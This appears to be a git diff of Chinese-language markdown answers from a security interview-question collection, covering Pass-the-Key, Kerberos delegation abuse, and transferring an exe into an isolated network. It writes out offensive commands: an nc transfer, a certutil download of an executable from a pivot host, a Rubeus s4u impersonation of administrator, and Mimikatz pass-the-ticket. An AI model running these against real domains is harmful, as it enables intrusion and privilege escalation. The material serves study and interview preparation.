- **更隐蔽:** Kerberos 认证通常比 NTLM 更难被检测,因为它不涉及明文密码或哈希在网络中的传输
**Pass-the-Key (PtK)**
**PtK** 是一种更新、更高级的哈希传递技术,它通常与 **AES 加密**有关。攻击者不再传递 NTLM 哈希或 Kerberos 票据,而是利用用户的 **AES 密钥**来伪造 Kerberos 认证过程
- **工作原理:** 在 Windows 2008 及更高版本的系统中,Kerberos 票据的加密和解密都可能使用 AES 密钥。PtK 攻击者从内存中提取出这个 AES 加密密钥,然后用它来伪造 Kerberos 票据,实现身份验证。这种方法通常用于绕过某些安全限制或在更现代的 Kerberos 环境中进行攻击
- **与 PtH/PtT 的区别:**
- **对象不同:** PtK 利用的是 **AES 密钥**,而不是 NTLM 哈希或 Kerberos 票据
- **安全性更高:** AES 密钥是更强大的加密凭据,攻击者拿到它后,几乎可以完全伪造 Kerberos 认证过程
- **应用场景:** 在一些对 Kerberos 票据有额外安全控制的环境中,PtK 可能是更有效的选择
| 特性 | Pass-the-Hash (PtH) | Pass-the-Ticket (PtT) | Pass-the-Key (PtK) |
| -------- | ---------------------------------- | ------------------------------------- | -------------------------------- |
| 攻击对象 | NTLM 哈希 | Kerberos 票据 (TGT) | AES 密钥 |
| 利用协议 | NTLM | Kerberos | Kerberos |
| 核心工具 | Mimikatz、Impacket | Mimikatz、Impacket | Mimikatz |
| 常见场景 | Windows 2003/2008 老环境,横向移动 | Windows 2008+ Kerberos 环境,权限维持 | 现代 Kerberos 环境,更隐蔽的攻击 |
| 核心思想 | 伪造哈希 | 注入票据 | 伪造密钥 |
+34
View File
@@ -0,0 +1,34 @@
### 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去
**1. 利用现有会话通道**
如果你的权限获取是通过某个工具(如 Meterpreter、Cobalt Strike 等)建立的会话,并且这个会话本身可以实现文件传输,那么这是最直接的方法
- **Meterpreter 的 `upload` 命令**: 如果你已经拿到了 Meterpreter 会话,直接使用 `upload /path/to/local/file C:\path\on\target\machine` 命令就可以将本地文件上传到目标机器
- **Cobalt Strike 的 `upload` 命令**: 类似地,在 Cobalt Strike 的 Beacon 会话中,`upload /path/to/local/file C:\path\on\target\machine` 同样可以完成任务
- **nc (Netcat) 通道**: 如果没有 Meterpreter 或 Cobalt Strike,但能通过其他方式建立一个 `nc` 连接,可以在本地机器使用 `nc -l -p 4444 < file.exe`,然后在目标机器上使用 `nc <本地IP> 4444 > file.exe` 来进行文件传输
**2. 利用系统自带工具或协议**
如果无法建立现有的会话通道,或者现有工具无法传输文件,我们可以利用目标机器上已有的工具和协议
- **SMB/Cifs 共享**: 如果目标机器在 Windows 内网环境中,并且你可以访问到一个可以上传文件的 SMB 共享。
1. **在跳板机上开启共享**: 使用 `smbserver.py` (Impacket 工具集) 或 Windows 自带的共享功能,在跳板机上共享一个目录
2. **在目标机上连接共享**: 在目标机上使用 `net use Z: \\<跳板机IP>\share` 命令挂载共享目录
3. **复制文件**: 使用 `copy Z:\file.exe C:\` 将文件复制到目标机器
- **FTP 服务**: 如果目标机器或跳板机上有 FTP 服务
1. **在跳板机上开启 FTP 服务**: 确保 FTP 服务可以被目标机访问到
2. **在目标机上使用 `ftp` 命令**: 在目标机上使用 `ftp` 客户端连接到跳板机,然后使用 `get``put` 命令来传输文件
- **HTTP 服务**: 如果跳板机上可以开启一个简易的 HTTP 服务
1. **在跳板机上开启 HTTP 服务**: 使用 Python 的 `http.server``SimpleHTTPServer` 模块,如 `python -m http.server 8080`
2. **在目标机上使用 `certutil` 或 PowerShell 下载**: 在目标机上使用 `certutil.exe -urlcache -split -f http://<跳板机IP>:8080/file.exe C:\file.exe` 或 PowerShell 的 `Invoke-WebRequest` 命令下载文件。这种方式在很多 Windows 环境中非常有效,因为它绕过了部分防火墙
**3. 利用特殊编码或分割传输**
如果上述方法都不行,或者网络环境非常严格,可以考虑将文件进行编码或分割传输
- **Base64 编码**:
1. **在本地编码**: 使用 `base64 file.exe > file.txt` 将文件编码成文本
2. **传输文本**: 将生成的文本文件 `file.txt` 通过剪贴板、或者通过其他能传输文本的方式(如日志文件、数据库记录等)传输到目标机
3. **在目标机解码**: 在目标机上使用 `certutil.exe -decode file.txt file.exe` 或 PowerShell 将文本解码回可执行文件。这种方法非常灵活,可以在几乎所有有文本传输的地方使用
- **文件分割**: 如果文件过大,可以先将文件分割成多个小块,然后逐一传输,最后在目标机上合并。这通常和上面的方法结合使用
+51
View File
@@ -0,0 +1,51 @@
### 说说域内委派
**1. 基础知识:委派的类型**
首先,我们需要理解域内委派的两种主要类型,因为它们的攻击方法截然不同
**a. 非约束性委派**
这是最古老、也最危险的一种委派方式
- **工作原理**:当一个用户访问配置了非约束性委派的服务(比如一个 Web 服务器)时,域控制器会把该用户的**票据授予票据(TGT)**发送给这个服务。这个服务会把用户的 TGT 缓存到内存中,以便后续代表用户去访问其他任何服务
- **渗透利用点**
1. **票据窃取(TGT Stealing**:非约束性委派的关键漏洞在于,服务会**在内存中缓存所有访问过它的用户的 TGT**
2. **伪造身份**:如果一个渗透测试人员能够控制这个服务账户(例如通过弱密码、令牌窃取等),他就可以**从内存中导出所有缓存的 TGT**,包括域管理员的 TGT
3. **万能钥匙**:拿到域管理员的 TGT 后,攻击者就拥有了**完全的域管理员权限**,可以代表该管理员去访问域内任何一台机器或服务,实现了最高级别的权限提升
**攻击思路**
1. **侦察**:使用工具(如 PowerView、SharpHound)枚举所有配置了非约束性委派的机器账户或用户账户。
- **PowerView 命令**`Get-DomainUser -UnconstrainedDelegation``Get-DomainComputer -UnconstrainedDelegation`
2. **等待和诱骗**:找到一个目标后,我们需要等待或诱骗一个高权限用户(如域管理员)来访问这台机器上的服务
3. **票据导出**:一旦高权限用户访问了,我们立即使用 `Mimikatz``Rubeus` 等工具,在被控机器上从内存中导出所有 TGT 票据
4. **票据复用**:拿到域管理员的 TGT 后,我们可以使用 `Mimikatz``kerberos::ptt`Pass The Ticket)功能,将票据注入到当前会话中,然后以域管理员的身份访问域内任何资源,比如 `net use \\DC01\c$ /y`
**b. 约束性委派**
这是为了解决非约束性委派的风险而引入的更安全的委派方式,它**限制了服务可以代表用户访问的范围**。但它依然存在攻击点
- **工作原理**:与非约束性委派不同,约束性委派不会把用户的 TGT 传给服务。它利用 Kerberos 协议的扩展(S4U2Self 和 S4U2Proxy)来完成委派
- **S4U2Self**:服务向 KDCKey Distribution Center)证明它代表用户,并请求一个服务票据(ST)
- **S4U2Proxy**:服务用这个 ST 去请求另一个服务的 ST,但这个过程是**严格受限**的
- **渗透利用点**
1. **滥用 S4U2Proxy**:如果攻击者能够控制一个配置了约束性委派的服务账户,他可以滥用 S4U2Proxy 协议,**冒充域内任何一个普通用户**(甚至不存在的用户)去请求访问被委派的特定服务
2. **横向移动**:这使得攻击者可以**以任意用户的身份**访问特定服务,即使该用户并没有访问权限,从而实现横向移动
**攻击思路**
1. **侦察**:找到配置了约束性委派的账户
- **PowerView 命令**`Get-DomainUser -Properties * | Where {$_.msds-allowedtodelegateto}`
2. **控制服务账户**:通过密码喷洒、弱密码或凭证窃取等方式,获取一个配置了约束性委派的服务账户的权限
3. **执行 S4U2Proxy 攻击**:使用 `Rubeus``Kekeo` 等工具,冒充一个域内用户(如 `Administrator`),向 KDC 请求访问目标服务的票据
- **Rubeus 命令示例**`Rubeus.exe s4u /user:victim-user /rc4:victim-user-hash /impersonateuser:administrator /altservice:HTTP/webservice.contoso.com /dc:DC01.contoso.com /ptt`
4. **票据复用**:成功后,会将伪造的票据注入到当前会话,攻击者即可用管理员身份访问 `webservice.contoso.com`
**c. 基于资源的约束性委派**
这是 Windows Server 2012 引入的更精细的委派方式,它将委派配置在**被访问的资源**上,而不是服务账户上
- **渗透利用点**
1. **ACL 滥用**:如果攻击者控制了一台机器(例如,通过普通用户权限),并且该机器的ACL(访问控制列表)允许某个低权限账户进行委派配置,那么攻击者就可以**将该机器配置为允许某个低权限账户进行委派**
2. **权限提升**:攻击者可以利用这个漏洞,将一个低权限服务账户配置为可以代表任何用户访问这台机器,从而实现权限提升
+35
View File
@@ -0,0 +1,35 @@
### 怎么定位域管曾经登录哪些机器
**1. 利用事件日志(Event Logs**
这是最直接,也是最基础的方法。Windows 服务器和客户端都会记录用户的登录事件,我们可以通过分析这些日志来追踪域管理员的行踪
- **事件 ID 4624**:这是**成功登录**的事件 ID。我们需要关注以下几个关键信息:
- **`Account Name`**:登录的账户名,我们要寻找域管理员账户,通常会包含 `Domain Admins` 组的成员
- **`Logon Type`**:登录类型
- **`Type 2`**:交互式登录(Interactive),意味着用户直接在机器上操作
- **`Type 10`**:远程交互式登录(RemoteInteractive),意味着通过远程桌面(RDP)登录
- **`Type 3`**:网络登录(Network),这意味着通过网络服务访问,比如文件共享
- **如何收集**
- **手动收集**:登录到域控制器或其他服务器上,打开 `事件查看器`Event Viewer),在 `Windows 日志` -> `安全` 中筛选事件 ID 4624。这对于小型网络尚可,但对于大型网络效率很低
- **脚本自动化**:使用 PowerShell 脚本可以批量查询多台机器上的事件日志。例如,可以编写脚本遍历所有机器,然后筛选出域管理员的登录记录
- **集中式日志管理**:在大型企业中,通常会有 ELK Stack (Elasticsearch, Logstash, Kibana) 或 Splunk 等集中式日志管理系统。如果有权限访问这些系统,可以直接通过强大的搜索功能来查询域管理员的登录历史,这是效率最高的方式
**2. 利用 LAPS 或 GPO**
有些企业为了安全,会使用 **LAPS(本地管理员密码解决方案)**或 **GPO(组策略对象)**来管理本地管理员账户的密码。如果一个域管理员账户曾登录过这些机器并修改过本地管理员密码,那么这些信息可能会被记录下来
- **攻击思路**
- **LAPS 日志**:LAPS 会记录管理员账户对本地密码的修改历史。我们可以通过查看这些日志来反推出是哪个域管理员在何时操作了哪台机器
- **GPO 日志**:如果管理员使用了 GPO 批量下发或修改了配置,这些操作也会在日志中留下痕迹
**3. 利用渗透工具自动化发现**
对于渗透测试工程师来说,手动分析日志太慢了。我们通常会使用专门的工具来自动化这个过程
- **BloodHound**:这是内网渗透中最强大的关系图分析工具之一。它能够收集域内的各种信息,包括用户、组、机器、会话等等,然后将这些信息可视化
- **核心功能**BloodHound 的一个强大功能是**会话(Session)分析**。它可以识别出哪些账户登录了哪些机器,并用图表清晰地展示出来
- **查询**:在 BloodHound 中,你可以直接运行内置查询,例如“Find Computers to which a Domain Admin has logged on”(查找域管理员登录过的机器),它会立即返回所有相关机器列表
- **PowerView**:这是一款基于 PowerShell 的信息收集工具,也是我们常用的利器
- **命令示例**`Get-NetSession` 可以用来枚举当前机器上的网络会话,从中筛选出域管理员的会话。`Get-NetLoggedon` 可以用来枚举本地机器上的登录用户,从中找到域管理员
- **结合使用**:我们会编写脚本,在多台机器上运行这些命令,然后将结果汇总起来,分析出域管理员的登录痕迹
+19
View File
@@ -1 +1,20 @@
# 网安面试题(涵盖护网、红队、逆向、二进制)
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
HR:请问…………
我:叽里咕噜说啥呢,看看八股文上写了没
Summary.md 是目录噢!!)
**🙏 特别感谢名单**
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
- **@用户名1** —— 提供了大量安全面试题方向的补充
- **@用户名2** —— 纠正了多个问题的答案与表述
- **@用户名3** —— 贡献了真实面试题经验分享
- **@用户名4** —— 对内容结构与目录提出改进建议
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字